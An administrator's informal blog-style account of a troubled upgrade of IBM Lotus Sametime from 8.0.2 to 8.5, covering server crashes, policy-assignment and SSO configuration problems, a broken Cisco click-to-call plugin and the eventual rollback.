Server crashed. Gave it more RAM, crashed. Eventually it stayed up long enough to test the calendar function which still fails. I also found a few other problems we'd had with 8.0.2 and fixed have come back. One being when you try and assign policies to users and bring up the directory. In 8.0.2 Sametime doesnt support Internet Site configs so needs a SSO Web Site doc to enable the single sign on in order to be able to run the java applet that runs in the policy assignment. Great, another example of Sametime devs not talking to their co-workers. This stopped working again in 8.5 but I could live with that. Then some more server crashes and a great console error.

Some generated functions exceeded the JVM method size limit and were automatically split into smaller functions. You may get better performance by manually splitting very large templates into smaller templates, by using the 'splitli

Found some scary java documentation which made some sense - but to me another example of the ST devs going with something outside the Domino norm. Whys it even in JAVA, thats always been a pain as it only runs on Domino, so why not something clever with the native app.

Gave up, rolled back to 8.0.2 and will see if we can get that online meeting working again ..

And finally, the brilliant Cisco Click 2 Call plugin stopped working with the 8.5 IM standalone client. Voice-mail plugin still works and ST video still doesn't. Meeting Place anyone ? !!!

or maybe the moral here is just let sleeping dogs lie. Left the server well alone on 8.0.2 and everything working. But I suspect it will still screw up with the same problems when we upgraded. Maybe I'll try a fresh install some day, or by that time just switch to Google Wave when its ready ..